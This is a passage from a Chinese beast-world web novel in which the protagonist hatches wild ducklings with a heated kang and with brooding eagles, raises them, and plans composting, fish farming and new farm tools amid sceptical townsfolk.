好在一个小时后,一只湿漉漉的,丑兮兮的小鸭子歪歪扭扭爬出来蛋壳。 这期间,幼崽们仔细观察,又发现几个裂开的蛋壳。 白争争怕小鸭子受凉,将兽皮盖过来,立马放了个木盆顶出一些空间。 “等它们毛干了,就可以下炕了。” 算算时间,小野鸭的孵化用了快三十一天。在这个区间内,不算晚。 “争争,上面的都出壳了,那大黑他们的是不是也出来了。” “待会儿下去看看。” 守到快晚上,兽人们下山去城堡吃饭。 食人鹰住的鸟棚外,龟鸣鬼鬼祟祟,抓着根棍子戳着食人鹰的翅膀。 “你干嘛呢!”秋刚好路过,抓着他兽皮一拎,凶神恶煞看着他。 “我!是我!” 秋:“知道是你。” 龟鸣:“你放开,没听到有什么在叫吗?” 王国里的兽人们现在都知道白争争在养野兽,大伙儿虽不觉得他能养出来,但到底存了一份好奇。 秋也知道几个林猫兽人还让食人鹰孵化野鸭蛋,那也只有林猫能想出这样的法子。 秋确实听到了微弱的声音,还不少。 “真出来了?” “可不是,食人鹰现在不让靠近,我就只能用棍子戳一戳看看。” 秋:“我来。” 一个鬼祟变两个,白争争跟三个幼崽兴冲冲地过来看,就将两个兽人撅着屁股在他们食人鹰的鸟棚里乱摸。 “抓贼啦!”幼崽一声吼,尖锐刺耳,顿时惊动了人鱼王国的守卫。 龟鸣还没来得及辩解,就被水里爬出来的人鱼捂住了嘴巴。 秋不明所以,但转眼想起那人鱼的眼神,顿时一凛,跟着跳入水中。 “抓贼啦,抓贼啦!” 王城的护卫赶来,烬、菱,还有鹤跟着一起。 “争争!” 幼崽指着鸟棚道:“有兽人偷我们的蛋!” 白争争看着水中,却察觉到了不对,立即道:“刚刚出现了一个陌生人鱼,听到幼崽叫抓贼,一下绑了龟鸣下水跑了,秋去追了。” 那兽人肯定有问题。 烬当即道:“追!” 鹤走近,拉着白争争在跟前转了一圈,连带三个幼崽也看了看,道:“以后别单独往海边跑。” 雁:“哦,知道了祭司。” 本来是来看野鸭的,没想到误打误撞,发现了个形迹可疑的人鱼。 不过这事儿自然是烬操心,白争争又回到鸟棚边,随手就拎起大黑的毛裤。 一瞧,好家伙,整整齐齐二十多只小野鸭。 毛毛都干了,连壳都被大黑踢出了窝去。 再看其他,除了第二批三黑、四黑还有五黑还在孵,二黑底下的二十个小野鸭也出壳了。 除去之前检查过拿出来的坏蛋,这边一下就有四十三只小野鸭。 第63章 第 63 章 喂养 鸭子孵出来就需要喂食了。 白争争出去找了个藤筐, 里面垫了干草。 再用兽皮兜罩住大黑跟二黑的脑袋,让龟鸣帮着抓住,他进去将小鸭子一一抓出来。 幼崽蹲在藤筐边,拦住要跳出来的小鸭子。手轻轻挨着小鸭柔软的绒毛。 抓完后, 白争争用兽皮盖住藤筐。 藤筐里一时安静下来。 龟鸣将大黑脑袋上的兽皮取了, 大黑顿时来啄他。 白争争一把抓住大黑脖子, 往它脑袋上拍了拍。 “等着, 再给你送一批蛋下来。” 大黑眼神清澈, 盯着白争争看了一会儿, 拢着翅膀缩回窝里。 小鸭子要快点背上山, 白争争没跟着烬他们在这边等秋的消息, 他打了招呼,就带着幼崽们去后山。 火炕屋里,一进门就听到闷在兽皮底下的小鸭叫声。 白争争将背上的藤筐放下,掀开兽皮,底下的小鸭子差不多都破壳了, 只有少数绒毛还没干。 白争争赶紧道:“雁, 你们去跟鹿花说一声, 让他们收拾两个鸭圈出来,干草垫得厚厚的。” “诶!”三个幼崽相伴跑了出去。 白争争又拿了个藤筐,轻轻将小鸭子捡了进去。余下绒毛没干的,又让它们在炕上待了一会儿。 “争争,好了!”隔壁屋喊。 帮忙干活儿的食草兽人们听到鸭子真孵出来了,忙不迭跑来。 见白争争在那炕上收拾鸭蛋,里头空荡荡的,忙道:“争争,孵出来了?” 白争争:“那还有假, 都在藤筐里呢。” 兽人们将藤筐围住,惊叹道:“这、这……真成了!” “哎哟,好乖!” “毛绒绒的,小嘴巴看着都没硬。” 白争争笑道:“帮个忙,将它们带过去。” “我来!”象宝一手一个藤筐稳稳抱着起来,走路都不敢像原来那么大步跨。 兽人们满眼都是那小鸭子,一窝蜂又跟了出去。 白争争这边将鸭蛋壳全归拢,用兽皮袋先装着。 蛋壳烘干了,碾碎了是上好的肥料。 匆匆跟出去后,白争争进了鸭圈。兽人们正蹲在那刚收拾出的圈外看小鸭子。 幼崽总是可爱的。 不论是兽人的幼崽还是野兽的幼崽。 看了一眼圈中,兽人们收拾得很齐整。干草都压实了的,很厚。 靠近边缘的长方形食槽也清理过,干干净净的。 白争争打开圈门,兽人们将小鸭子一一抓进去。 双手捧着,生怕力气大了。 一共两批小鸭子,食人鹰孵化了四十三只,炕上这边有三十一只。 白争争将它们分开养,一方便观察,二是多了养在一起,容易生病。 兽人们这边守着,白争争用陶罐装了些水来。 兽人们看他手上两个盘子两个碗叠着,帮忙拿下来。 鹿花:“我们不喝水。” 白争争笑道:“给鸭子喝的。” 他示意兽人将盘子放在地上,然后用陶罐倒了些水,再用碗扣在盘子中。 以前他看他奶就是这样喂刚买回来的鸡苗的。 这些小鸭子刚孵化出来,绒毛不能沾水,这样就不怕它们扑腾进水里。 这边弄好,罐子就被鹿花接了过去,给隔壁的圈里也倒上。 兽人们就立在圈边,就这会儿,它们已经能走了。 小鸭子摇摇摆摆走出来,低着脑袋啄一下盘边,再仰头喝下去。 兽人们一会儿看看这边,一会儿看看那边,满眼喜爱。 象宝低声道:“它们吃什么?” 白争争道:“细碎一点的米粒儿。” “我去弄!” 豹大两兄弟听到这边的动静,也钻了进来。 “争争,听说野鸭孵出来了?” “孵出来了!”食草兽人们激动道。 豹大豹二顿时凑近,探头往圈里看。 见到那些嫩生生的小鸭子,瞳孔一缩,两个圆圆的毛耳朵弹了出来。 食草兽人们忽然觉得背后凉飕飕的,看豹大豹二咽口水的样子,忙张开手往鸭圈前一挡,横眉瞪眼道:“还是幼崽你们就想吃!出去!” 豹大不好意思笑了笑。 豹二舔了下发痒的牙根,忍不住道:“太嫩了,一口一个,肯定好吃。” 鹿花:“就不该让你们进来!” 白争争:“好了,别在里面吵。” 他也理解两兄弟,豹兽人本就更喜欢吃肉一些。现在王国里种的紫皮根这些虽然能饱腹,但让吃肉的兽人顿顿吃草,久了都得疯。 就像人,许久不吃肉还得馋一馋。 象宝没多久就回来了,他拎着一小袋兽皮袋。 白争争看了眼食槽,没往里扔。而是拿了没皮毛的兽皮往干草一扑,细碎的米粒儿扔上去。 不一会儿小鸭子就吃完了。 鹿花:“不够吃,再喂一点。” 白争争却收了兽皮袋道:“第一顿,别喂撑了。以后一天喂四顿,早上一次,中午一次,下午跟晚上天黑前再分别喂一次。” 兽人们点点头。 明白,这就跟他们自己的幼崽一样,隔一会儿就得喂。 野鸭刚孵出来,即便山上有兽人守着,白争争也不敢离开。 想着山下大黑二黑窝里是空的,那些散落的蛋壳也没捡,白争争招了三个幼崽来。 他挑了些蛋让他们背下去。 “这蛋大黑二黑一窝二十个。让底下的人鱼或者龟鸣帮忙放窝里,再把蛋壳收起来,也不用带回来。” 三个幼崽点头,小心背着蛋就回去了。 城堡。 幼崽刚到,龟鸣就从海里冒出头来。他懒洋洋就脑袋搭在石头上,道:“你们又下来干什么?” “龟鸣帮忙。”芽跑到他身边,动手拽他脑袋。 龟鸣忙划动腿儿,道:“我来我来,你松开!” 他叹一声,慢吞吞爬上岸。 “这边才抓了坏人鱼,不安全,烬让我在这里守着就是怕你们不知道又跑过来。” “抓到了?” “你们一走就抓到了。” 龟鸣听幼崽说要放鸭蛋,习惯靠近食人鹰。 大黑恐吓着嘶叫了一声,他吓得往后一跳,赶紧摆手道:“不行不行,它当我掏走了崽子,要啄我。” 雁嫌弃他没用,瘪嘴道:“我喊人鱼去。” 三个幼崽让龟鸣看着藤筐,就往城堡跑去。 中途撞见从里面出来的鹤,幼崽一下子跑过去,挂在鹤身上,道:“祭司,帮忙~” 鹤:“做什么?” 肉道:“放蛋,捡蛋壳。” 鹤:“我拿两块兽皮。” 听到后头的脚步声,他回头,是烬。 烬看着幼崽道:“争争呢?” “争争要守着小鸭子。”肉坐在鹤的脚背,双手抱腿,肉乎乎的脸挤得变形。 烬:“我帮你们。” 说着他往前走,幼崽当即扔下鹤跟在他身后跑。 烬过来,不罩兽皮大黑二黑也不敢动。他将蛋放进去,又收了蛋壳出来。 “这个扔了?” “不能扔!”幼崽当即抱住装蛋壳的兽皮兜。 烬:“有什么用?” 幼崽摇头:“争争没说。” 鹤是被叫过来商量南部的事情的,这会儿商量完了是要回去。 他伴侣菱正神神秘秘不知道在干什么,反正抽不出身,所以他也孤零零一个人。 听烬要带幼崽回后山,他索性也跟着一起。 鹤这是第二次上来。 先前没仔细看过,这次就让幼崽带着他逛一逛。 一共就四座木头房子,倒塌的那一座也早被清理干净了。 豹大两兄弟住一间,火炕房一间,余下两间都修着方方正正的圈。 里面养满了野鸭,一个个油光水滑,看着养得很好。 就是两个豹兽人住一间房,白争争跟幼崽还有烬这个凑热闹的得一个屋,有些挤了。 白争争正守着小鸭子,见他哥来了,也诧异了下。 “哥,你怎么上来了?”他刚开口,圈里的小鸭子也跟着低低叫起来。 鹤往圈里扫了一眼道:“过来看看。” “孵出来多少?” “快一百个。” 鹤点点头:“不错。” 白争争笑得灿烂,他忍不住得意道:“也不想想我是谁,孵个蛋而已,多简单的事。” 鹤唇角翘了翘,没拆穿他。 六七十个蛋孵出来三十几个,成了一半。余下四十多个都是食人鹰孵的。 也不知道谁先前为了这事儿焦头烂额的,还说简单。 …… 食草兽人们喂完大野鸭也回去吃晚饭了,后山就只有豹大两兄弟,还有负责做饭的清、州两个。 见鹤来,清两个去打了招呼,然后又继续回去忙活。 烬守在白争争身边。 等兄弟俩说完,鹤又出去晃悠了,烬才抓住白争争的手握在掌心。 他见自己伴侣目不转睛盯着那些小鸭子,有些不满地勾住他的腰,将人往怀里带了带。 白争争还是没反应,倒是习惯地放松身子靠在他身上。 烬不满地咬了一下他耳朵,白争争猛地哆嗦了下,侧头躲开。 他红着脸看了眼门外,低声问:“你干什么?” 烬:“亲近伴侣。” 绯红从耳垂蔓延到脸上,白争争挠了挠烬的手背道:“你注意点儿,我哥还在这呢。” “嗯。” 烬满意地搭在白争争肩膀上,看着他白皙的脖子,又用鼻梁蹭了蹭。 白争争:“烬!” 烬:“争争,你让幼崽们装蛋壳干什么?” 白争争一下就不躲了,道:“肥料啊。” 烬:“蛋壳也能做?” 白争争道:“不止蛋壳,骨头、草木灰、瓜果皮、粪便……都能肥地,不过需要提前处理,发酵之后才能用,不然会烧根。” 烬敛眉思索着,看慢慢挤在一起的小鸭子道:“死过兽人的地方,植物总能长得好些。” “嗯,差不多是这个道理。” 植物生长需要补充很多元素,常见化肥就是氮磷钾肥。 像各种虾壳蟹壳、鱼鳞鱼骨、兽骨都是磷肥,磷肥能促生长,提高产量。 蛋壳、骨粉能补钙。 草木灰是高钾肥,能促生根发芽,防落叶,还能防治蚜虫…… 人鱼王国的兽人们每日消耗大量的瓜果蔬菜,即便野兽有限,鱼虾不多,也有不少兽骨、鱼鳞、虾蟹贝壳之类的厨余。 兽人们都是随便挖个坑一扔,没集中处理过。 但要是收集起来,专门沤肥,也能有不少的肥料可用。 除了肥料,再是农药。 早时有柳叶剂、艾草剂杀虫,人们借助植物的特性,研制出治虫的药是寻常事。 不过兽世的植物多样,白争争还没兽人们熟悉,只能让他们自己一一尝试。 白争争跟烬细说一通,烬了然,便道:“我让兽人们把吃剩的食物集中起来处理,农药也试做一下。” 白争争道:“城里保持干净很重要,这些就别在城里做了,运到外头来,最好派专人研究一下。” “还有,有些植物有毒,研制的时候也得小心。” “嗯,草药这个我让祭司看着,肥料让菱去办。” 白争争:“我嫂子有空?” 烬:“他手下很多兽人。” 白争争点头。 有手下就好,不然他嫂子太忙,他哥孤零零的看着可怜。 兽人们在种植上很有心得,白争争想帮忙也顾着养殖这边,参与不了,只说:“有问题的话,我能帮着看看,但我也不保证什么都知道。” 烬:“他们也跟植物打交道很多年了,只是没想到过这些。” 兽人也不笨,更莫说人鱼族选的那些兽人个顶个的优秀。 烬并不看轻他们,多试试,凭借兽人们的毅力,能成。 至于白争争这边,还得继续干。 城中。 快傍晚了,城中摆摊的兽人们都在陆续收摊回家。 鹿花他们下了山,没着急回家,而是直奔林猫的店前。 林猫族人们做麦饼卖,从天明开始,一直会忙到天黑。 兽人们两班轮流做,但也依旧不算轻松。 族人们现在铆足劲儿赚金币,是想像其他部落一样,在人鱼王国里聚族而居,购置些房子跟田地。 现在兽人们一起住,还是逼仄了些。 但这需要大量的金币。 鹿花他们到时,麦饼剩得不多了。 这会儿购买麦饼的兽人反倒多了些,都是收摊过来买的兽人们。 他们赶紧排队,眼睛巴巴盯着那放在桌面簸箕里的大饼子。 两面烤得焦黄,微微鼓起,肉馅儿里的油都快浸出来,很是诱人。 食草兽人们吃草也吃肉,但更多的是偏好吃植物一类,并非完全不沾肉。 毕竟他们是兽人,不是野兽。 林猫兽人麻利,桌子后头一个兽人用大叶片包好麦饼,一个兽人数银币,几下就轮到了他们。 鹿花、象宝几个将提前准备好的银币拿出来,到旁边等着。 他们跟林猫兽人也算熟识了,想到山上的情况,就没忍住跟他们道:“争争孵出小鸭子了,你们知不知道?” “孵出几个?”希在后头听到,没忍住出来问。 “有七十多只嘞!” 林猫兽人一笑,发自内心的骄傲。 争争那小崽子从小脑瓜子就聪明,不过以前不踏实,想一出是一出,没弄出什么名堂来。 现在城里都知道他在孵蛋,林猫兽人们卖这饼子都听到好多兽人来问了。 可事没成,那些兽人又多半是来看热闹的,没当回事儿。 这下真成了,大伙儿都为白争争高兴。 “别是从其他地方抓来骗人的吧。” “就是,没听哪个兽人说过,自己能把野鸭蛋孵出来的。” 鹿花拿了自己饼子,猛地转身。 后头嘀咕的兽人被吓到,咋咋呼呼道:“买完了就走,别挡路!” “蛋是我们亲眼看着孵出来的!你别两片嘴皮子一碰,张嘴就是我们骗人!你自己孵不出来别人就孵不出来?!” “我就是随口说说,你凶什么凶!” “我看你不顺眼,怎么着!” 兽人好斗,眼看鹿花将饼子塞给同伴,两方就要动起手来,希赶紧下去将鹿花拉开。 可后头的兽人还在叫:“来啊,打啊!我看你们就是心虚,不敢承认!” 鹿花气得跺脚:“有本事你孵一个试试!” “我才不上当!” 希一个林猫兽人,力气小,拉又拉不动,最后还是象宝一手一个给扯开。 他道:“不信去看看就知道了。” 那么多个小鸭子,他就不信兽人还能说他们在外面找的。 “去就去!” “我们也去!” 有些看热闹不嫌事大,摩拳擦掌,要不是快天黑了,现在就想去。 兽人们散去,鹿花冷静下来才有些后悔。 “真让他们去后山?” 象宝也有些拿不定主意,想了想,道:“咱们找人鱼去。” 希往外追了两步,后头林猫兽人喊才停下。 他蹙着眉走回来,道:“争争那边忙得都没空回来,他们去会不会给他添麻烦?” 照一身面粉从里面出来。 他们在后头烤饼,也听到外头的动静了。 “争争那边有烬,出不了乱子,你要是不放心,咱们明天也跟着去看看。” 希点点头,忍不住又往外看。 * 翌日早上,新房子这边照旧开门。 兽人们现在都有些习惯每天早上过来买个饼子,就着骨头汤或者鱼汤吃一顿。 吃完再去摆摊,一天都舒服。 照跟族人们交代了几句,幼崽也想跟着,就带着他们一起去了后山。 依旧是之前上山的那条路,要从前山的田地间过,翻过山才到后面。 去一趟要走半小时,也不算近。 走至半路,却正好与其他方向上山的兽人们遇见。 照停下,招呼跑到前头的幼崽回来,跟在身边。 绒球蹲在照的肩膀,看着兽人们浩浩荡荡,如大蛇一样往山上蔓延。 “好多兽人!”幼崽惊呼。 照拉住伴侣,也有些发怔。 “这是怎么回事儿?” 希摇摇头,与伴侣对视一眼,带着幼崽飞快往后山赶。 怕不是来捣乱的! 要是弄出个事儿来,白费了争争这么久的心血。 照跟希焦急上山,幼崽追在后头跑。 他们不懂成年兽人的慌张,只看到兽人越来越多,好不热闹,当玩儿一样边跑边打闹。 好不容易上山,照在山坡上就看见底下的房子已经被兽人们围了。 照来不及细看,就带着幼崽往下。 直到逼近了,才看到房子前围了一圈的王城护卫,拿着长棍一样的武器挡着。 那木棍头上还有尖尖的黑东西,泛着锐光,看着很锋利。 照心神一定,喘了一大口气。 有兽人守着就好。 白争争也无奈,昨天的事儿烬已经跟他说了。知道兽人们要来,他们安排了护卫看着,但没想到来这么多。 他那些小鸭子才一天大,冷不得惊不得。 又不是动物园,总不能抱出来让兽人们一一看。白争争最后跟烬商量,就让他们看看那全是大鸭那屋就算了。 至于小鸭子,现在别想。大一点放河里游了还差不多。 白争争忙得满头大汗,却在兽人堆里看到了他阿爸。 两个兽人风尘仆仆,头发汗湿沾在脸上,呼吸沉沉的,狼狈不堪。 幼崽倒是快活,在兽人身上爬上爬下,精力十足。 白争争忙将人带到一边。 绒球一蹦,跳到白争争怀里,咕噜噜打起呼噜来。 “争争,你不回家。” 白争争眉眼柔和,摸摸小崽柔软的绒毛,道:“这边离不开人,过段时间就能回了。” 绒球阿爸回来了。 小崽子现在有阿爸养,胖了不少,抱着都有些压手。 他摸着小家伙,又问两个老父亲:“阿爸,阿父,你们怎么来了?” 希:“哎!还不是昨天下午,兽人们在家门口争论你孵蛋的事,我们担心出事,过来看看。” 白争争道:“没事,好着呢。” 白争争带幼崽跟两个爸去了他们睡觉的炕屋。 眼见幼崽要往上蹦,一把薅住小崽子。 雁三个赶紧拦在火炕前,还揭开兽皮看了看,底下是新放的一批蛋。 照瞧了瞧,好奇往前走了几步,道:“就是这么孵的?” 希瞧着也纳闷:“就给蛋盖上兽皮,那不是哪个兽人都能孵?” 白争争笑道:“你们摸摸那床。” 幼崽争先恐后将手放上去,耳朵一扬,惊道:“热的!” 两个成年兽人也探了探,手一顿,目光四处搜寻,最后在床外侧看到了个小门一样的东西。 白争争打开让他们看,里面还有些火星子。 “是个好东西。”照道。 希:“要是有这个,北边也能过。” 白争争心有余悸道:“还是别了,就是有这个,整个冬日也别想下来。北边太寒了。” 两个爸一听这话,顿时想起自家崽子在北边受苦的时候,顿时心疼看来。 白争争看他们脸同时皱起,嘿嘿笑了两声。 他端着泡了果干儿的水给他们倒了些。幼崽也要喝,但屋里碗不够,雁他们就跑出去找清拿。 外面哄闹,白争争也应付得累。 这会儿跟幼崽还有阿爸阿父坐在屋里,难得放松,歪倒在木板上脑袋往他阿爸腿上一靠,没个正形。 希摸摸他的头发,低声道:“得空了,还是回来看看。几天不见人,总觉得瘦了点儿。” 白争争闭上眼睛,感觉到肚子上越来越多的小爪子,是那群吃胖了的小崽子。 他一手揽过,哼哼道:“还好,就是孵化出来的第一批小鸭子,没经验,怕养不好才这么日日夜夜守着。” 希:“要不阿爸来帮你。” 白争争道:“你们那边都还忙不过来呢。” 第64章 第 64 章 农具 鹿兴是昨日在山下林猫家店前差点与鹿花打起来的那个兽人。 他也是鹿族, 但与鹿花不是同部落。 昨晚跟鹿花呛声,一是看不过鹿花那得意样子,二是不信林猫沾了人鱼的好处,还事事能成。 这么弱小的部落, 以前连人鱼王国都不能进来, 现在不仅进来了, 还靠着人鱼活得这么滋润。这让他们辛辛苦苦赚银币的兽人怎么平衡? 还孵蛋, 一个弱小种族兽人能养成野兽的话, 那这么多年怎么没听到一个部落养成。 难道大部落还不如一个小小的林猫部落吗? 鹿兴坚信, 一定是人鱼帮了忙。 所以今天一大早, 他早早吆喝了一大批人, 急急忙忙上山。 他就不信,林猫真有那个本事! 鹿兴是最先到后山的一批兽人,到了山脚,却看几座房子外已经围了一圈的人鱼族护卫。 鹿兴气笑了。 怎么着,知道他们要来就叫兽人守着了。这不是心虚是什么? 他上前一步, 道:“我们是来看新孵出来的野鸭的。” 洋看着矮他一头的鹿眼兽人, 道:“小野鸭才孵出来, 还不能见兽人,你们只可以站在门口看一眼成年野鸭。” 鹿兴当场就不乐意了。 “什么意思!我们就是你们的兽人叫来看小野鸭的!” 洋半分不让,道:“王的决定,你有异议?” 鹿兴一怯,眼神闪烁着。 他心里冷笑,分明是人鱼王偏袒自己伴侣,怕他们看出端倪。 后头跟来的同族拍他肩膀,眼里兴奋藏不住。“能看就行,管他大的小的。” 他又问洋:“你们真的孵出来了?不会是人鱼帮忙给林猫兽人抓回来的吧。” 洋:“谁跟你说我们抓回来的?说话动动脑子, 别张口就来。我们王国的护卫队还有豹族、食草族这么多兽人亲眼看见的会有假?要是能找那么多幼崽来,你找一个试试。” 寻:“就是,你要能找出来几十只,我们都承认你能耐。” 鹿兴被说得脸红,嘴唇翕动,还想再挣扎着说些什么,被后头的兽人勾住肩膀制止。 同伴笑道:“那我们现在总可以去看了吧。” 洋:“声音小点,别凑近门内。要是里面的成年野鸭出现问题,还得找你们。” “你!”鹿兴气得咬牙。 这分明就是针对! 洋:“看不看?” 鹿兴的同伴忙拉着他道:“看,看!” 废话,怎么能白跑一趟。 兽人们排成长队,一个个就只能在门前擦过一眼。 不过之前再怎么不信,当看到屋里分别养在单间儿里的野鸭,个个精神抖擞,肉肥毛亮,也有些半信半疑了。 大半部落的兽人一起出去捕猎对居住在人鱼王国里的兽人来说,已经是很久远的事情了。但他们知道,往往野兽抓回来,再鲜活的,养不了几天绝对会越来越蔫。 兽人们担心他们掉肉,会直接杀来吃了。 可那六大部落出去抓野兽的事儿已经是一个月前的了,这些野物带回来,能养到现在就已经是林猫的能耐。 鹿兴看着野鸭,扒着门口还想看得再清楚些,但跟前却横来一根长木棍,上面还带着黑漆漆的尖头。 “可以了,后头的人还要看呢。” 鹿兴咬了咬后槽牙,想骂又不敢,最后只能憋屈地瞪洋一眼,挪开位置。 洋收回武器,抱臂看着走远的鹿兴。 “就他昨天差点跟鹿花打起来吧。” 寻凑过来,嘀咕:“是他。” 洋:“一天天闲得发慌。” 渐渐的,一传十,十传百,听到后山开放消息的兽人越来越多,兽人们都知道人鱼王的伴侣将野鸭蛋孵出来了。 来护卫的兽人们还当是个轻松活儿,结果全城都知晓,那兽人是一波接一波。中间都没有空闲,洋这些兽人连吃饭都是清他们送来的。 这些来的兽人中,不乏狮兽人、虎兽人,甚至人鱼都跟来凑热闹。 寻见了,直接抓壮丁来帮忙。 屋内。 烬听到消息也上来了。同来的还有菱以及鹤。 兽人们聚集在炕屋,现在外面全是兽人,想出去都难。 屋里坐不下,白争争在地上摆了兽皮,兽人们席地而坐。 烬挨着他,道:“之后山上不许再来兽人,碍事。” 白争争道:“我弄些栅栏,鸭子之后要放出去,一直养在屋里也不好。” 烬:“顺带多修几座房子,我让兽人来帮忙。” 白争争点头,听他安排。 两个老父亲看他们有来有往,事有商量,不自觉面上带笑,看两人的眼神都和蔼不已。 菱道:“要修就早点修,要不明天开始?” 白争争道:“可以,不过做饭的人手不够。” 幼崽道:“我们给清清帮忙!” 直到下午,来山后的兽人才少了些。白争争要去喂小鸭子,带着林猫们顺便看了看。 那些小鸭子吃饱了就挤在角落睡觉,白争争在角落堆了些细碎的干草,小鸭子就钻在那草底下。 听到动静,草堆里传出几声清叫。 嫩生生的,听着悦耳。 白争争唤了唤,小鸭子就急急忙忙钻出来。 希看得微弯唇角,低声道:“跟小猫崽子似的。” 白争争道:“也长得快,一天一个样。” 昨天刚出来的时候还走得不怎么顺畅呢,现在都能跑了。 他将细碎的米粒儿撒了一把在兽皮上,又将盘子拿出去洗干净,换了水,用碗扣上。 小鸭子吃得口渴,就会围着盘子喝水。 幼崽也挤在围墙上看,道:“争争,它们只吃米吗?” “也吃虫子。” 吃虫子的小野鸭长得快,不过白争争这两天没空,还没出去找。 照道:“幼崽干脆帮完了清做饭也留在这边,多帮帮忙。” 绒球道:“抓虫子!” 大苗:“小鱼小虾可以吗?” 白争争道:“应该都行。” 幼崽先前与父母分开,所以他们回来之后就黏得紧。现在也黏够了,又想起白争争,自然乐意上来。 争争在,他们可以玩儿,可以吃好吃的。 傍晚,兽人们在后山吃了一顿饭才陆续下山。烬等着白争争看完了鸭子,才跟着他回火炕屋。 雁、芽还有肉三个幼崽也跟着照他们回去,明早上再和其他幼崽上山。 菱则回去安排明日上山建房子跟围栅栏的兽人。 月色清朗,湖水如醉。 天黑便冷,后山热闹了一天,晚上就显得格外寂静。 秋季少了些蚊虫,也听不到那么多虫鸣。屋里熄了灯,只有两人的呼吸声。 “现在算上小鸭子,一共有一百七十四只,要足够供给人鱼一族,起码要千只以上。按照野鸭生蛋的速度,还是慢。” “不着急。”烬搂着白争争,下巴挨着他额前。 “怎么能不着急。野鸭已经相对繁殖都够快了,角兽那边才是慢。要吃肉还不知道要等多久。”白争争有些沮丧。 “兽人们多半习惯了。” “那也不行,要不再抓一批长耳兽回来试试?” “现在恐怕来不及了,要冬季了。” 现在要建房子,菱那边最多抽调四五十个兽人来,要抓长耳兽还得叫六大部落的兽人去。 快到冬季,兽人们都在忙着赚银币,换粮食,甚至有些离开王国去很远的地方换肉。 都没空闲。 白争争想想,否定了这个。 他不想房子再塌一遍,除非他现在能建窑烧砖。那又得费到什么时候。 白争争拧着眉头,翻个身,背对烬继续思索。 烬侧身勾过伴侣的腰,将他拉回怀里,道:“现在肉虽少,但去远海还是能找到不少鱼群的,不用太操心。” “鱼?” 白争争猛地一顿,脚缠住烬的腿紧紧勾住。黑夜里,眼睛亮闪闪的。 “嗯。” “我还可以养鱼啊!”白争争激动得一个翻身,跨坐在烬的腰腹。 烬托着他后腰,有些无奈地将兽皮往上拉了拉。 “冷,趴下来。” 白争争听话,往下一倒,曲肘抵在烬的头两侧,看着他道:“陆地上野兽不多,海那么大,走远了鱼总会有。正好,嘿嘿……人鱼在海里行走自如,在陆地上放牧是放,海里就不是放了?” 有人鱼,海里搞养殖不算得天独厚的条件吗? 白争争紧紧抱住烬的脖子,傻笑着往他脸上蹭。 蹭着蹭着,烬哑声道:“要不要帮忙?” “要!” “那先睡,不早了。” “睡不着。” “好。” “唔?呜!”白争争被掀翻,腰被臂膀勾着往下一拉,就被烬一口叼住。 操劳半夜,再不敢说睡不着了。 睡前他挂着泪,脑子里跟浆糊似的,偏偏又记起来海岸边人鱼的事儿。 好像是问了一嘴,但烬怎么回来着? 白争争早上撑着后腰起来,呆愣着看着外面大亮的天光,忘得干干净净。 幼崽们已经上山了,外面也有咚咚作响的伐木声。想必是建房子的兽人们已经来了。 白争争掀开兽皮,刚踩在地上,腿一软,直接往地上跪。 烬端着早饭进来,顺手勾住腰,将他往腿上一提。 白争争顺势抱着他脖子,问:“没走啊。” “咳、咳咳!” 他抿了抿干燥的唇,惊异地发现,自己成了破锣嗓子。 烬端着蜂蜜水凑到他唇边,白争争忙咕噜咕噜喝了一大碗。 烬:“慢点。” 白争争一口气喝完,打了个嗝,懒散往他胸口上一靠,疲惫道:“鸭蛋。” “看了,没事。” “小鸭子。” “喂了,没事。” “饿……” 烬低低笑了笑,忍不住亲了一下伴侣的脸。 早饭是米粥,里面放了青菜跟肉沫,咸味刚刚好。 他吃着,烬就看着。 他的伴侣长高了不少,褪去了稚气,一头墨色的长发披在白皙的后背,很是漂亮。 吃饭时乖巧,浓密的睫毛低垂,红唇抿着,小口小口但吃得很快。 是饿极了。 烬勾了兽皮衣来,将他裹上,就这么抱着人也没打算放下。 白争争吃饱喝足,又躺了一会儿。 烬收拾了碗筷回来,坐到床边,帮白争争掖了掖兽皮毯子。 白争争抓着他的手,枕在脸下,道:“昨晚问你人鱼的事,你怎么说的?” 烬:“抓到了。” 白争争:“是南部的人鱼吗?” 烬:“嗯。” 白争争:“没什么事儿吧。” 烬拨弄开他额前的碎发道:“没事。还要再睡一会儿吗?” 白争争迷迷糊糊闭上眼,咕哝:“下次别弄到那么晚,起不来。” “好。”烬摩挲着伴侣的脸,等他又睡着了,也没离开。 兽人们现在在砍木头,修栅栏。 之前修房子的地基也被清理出来,但这底下有长耳兽挖出来的洞,不好再建房子。 河边,龟鸣又干起抓鱼的活儿。 清带着年还有风几个,在河边杀鱼。 兽人们修栅栏要把这条小河圈进来,栅栏中心是这几座房子。以后野鸭就在河里放,河中也会放网拦着。 城堡里兽人们吃水不是这条河里的水,倒也不怕污染。 屋外敲敲打打,兽人们手头都有事,一派忙碌之景。 雁看烬进屋又出来,然后又进去,屋里门始终关着。就知道白争争今天怕是起不来了。 他三个跟着白争争养鸭子,看着到中午了,又跑去喂小鸭子。 鹿花他们也在,不会出差错。 白争争安安稳稳睡到中午,醒来时,雁几个已经揭开兽皮在翻蛋了。 白争争环视一圈,没看到烬。 雁道:“菱说农具做好了,叫争争你醒了过去看。” “烬呢?” “走了。” 白争争坐起来,看边上的木墩子上放了一碗水。他抿了抿干燥的唇,端起来喝了两口。 穿好兽皮马甲下了床,白争争先去看了看小鸭子。 回来之后,三个幼崽将鸭蛋翻完了,白争争又检查了下火炕的温度,添了点柴,随后才下山。 房子外头,兽人们扛着木头来往。 栅栏已经围起来十多米长了,看着要不了几天就能做好。 幼崽拽着白争争的兽皮衣,东张西望。见清那边忙着抓小鱼小虾喂鸭子的幼崽们,脚步一顿,仰头看向白争争。 白争争:“不去了?” 雁:“我们要给小鸭子抓虫子。” 白争争笑了笑,揉着幼崽的脑袋道:“行吧,我自己去。” 看三个幼崽蹦蹦跳跳加入其他幼崽中间,白争争也放心下山。 后山山坳。 白争争抄近路过去,在山坳里就看到菱在这边。 “争争,快过来!” 白争争看他后头两个兽人抬着藤筐,里面都是那些新造的农具。 白争争道:“试过了?” 菱:“这不是等你过来一起吗,我们哪里知道怎么用。” 兽人们将藤筐放下,白争争看了一眼,都是些半成品。只有铁头,没嵌木棍上去。 白争争道:“木头呢?” 菱:“还没弄呢。” 兽人们闻言只道:“木头我们不负责。” 兽人们说完就继续闷头做武器,只把这些农具当先前练手的那些锅碗瓢盆,没多大的兴趣。 菱道:“别理他们,一个个会玩儿点石头就心高气傲的。” 白争争:“在王国也算技术人才,有傲气也正常。” 菱一笑,先让两个抬藤筐的兽人把农具组装好,又勾住白争争脖子道:“要这么说,我也算。” 